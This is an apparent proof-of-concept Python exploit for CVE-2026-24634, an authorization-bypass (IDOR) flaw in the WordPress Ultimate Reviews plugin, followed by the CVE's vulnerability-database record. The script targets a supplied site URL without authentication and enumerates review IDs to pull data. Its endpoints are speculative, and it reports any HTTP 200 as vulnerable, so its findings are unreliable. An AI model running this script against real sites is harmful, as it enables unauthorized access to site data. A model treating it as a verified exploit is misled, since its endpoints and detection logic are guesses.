CVE-2026-24634

# CVE-2026-24634 PoC - WordPress Ultimate Reviews IDOR Vulnerability # Description: Insecure Direct Object Reference in Ultimate Reviews plugin <= 3.2.16 # CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N import requests import sys from urllib.parse import urljoin def test_idor_vulnerability(target_url, comment_id=1): """ Test for IDOR vulnerability in Ultimate Reviews plugin This PoC demonstrates how an unauthenticated attacker can access review comments without proper authorization. """ # Target endpoint - typically in wp-admin or AJAX handler endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/ultimate-reviews/{comment_id}", f"{target_url}/?rest_route=/ultimate-reviews/v1/review/{comment_id}" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } print(f"[*] Testing IDOR vulnerability on: {target_url}") print(f"[*] Target comment ID: {comment_id}") for endpoint in endpoints: try: # Attempt to access review with different IDs # Without proper authorization check, this should return data response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: Endpoint {endpoint} returned data for comment ID {comment_id}") print(f"[+] Response preview: {response.text[:200]}...") elif response.status_code == 403: print(f"[-] Protected: Endpoint {endpoint} returned 403 Forbidden") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") def enumerate_reviews(target_url, start_id=1, end_id=100): """ Enumerate accessible reviews by iterating through IDs This demonstrates the data leakage aspect of the vulnerability """ print(f"\n[*] Attempting to enumerate reviews from ID {start_id} to {end_id}") accessible_reviews = [] for review_id in range(start_id, end_id + 1): # Common vulnerable endpoint pattern url = f"{target_url}/wp-admin/admin-ajax.php?action=get_review&id={review_id}" try: response = requests.get(url, timeout=5) if response.status_code == 200 and "review" in response.text.lower(): print(f"[+] Found accessible review ID: {review_id}") accessible_reviews.append(review_id) except: continue print(f"\n[*] Total accessible reviews found: {len(accessible_reviews)}") return accessible_reviews if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url> [comment_id]") print("Example: python poc.py https://example.com 1") sys.exit(1) target = sys.argv[1] cid = int(sys.argv[2]) if len(sys.argv) > 2 else 1 test_idor_vulnerability(target, cid) enumerate_reviews(target)

{"cve": {"id": "CVE-2026-24634", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:23.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Rustaurius Ultimate Reviews ultimate-reviews allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Reviews: from n/a through <= 3.2.16."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización a través de clave controlada por el usuario en Rustaurius Ultimate Reviews ultimate-reviews permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Ultimate Reviews: desde n/a hasta &lt;= 3.2.16."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-reviews/vulnerability/wordpress-ultimate-reviews-plugin-3-2-16-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}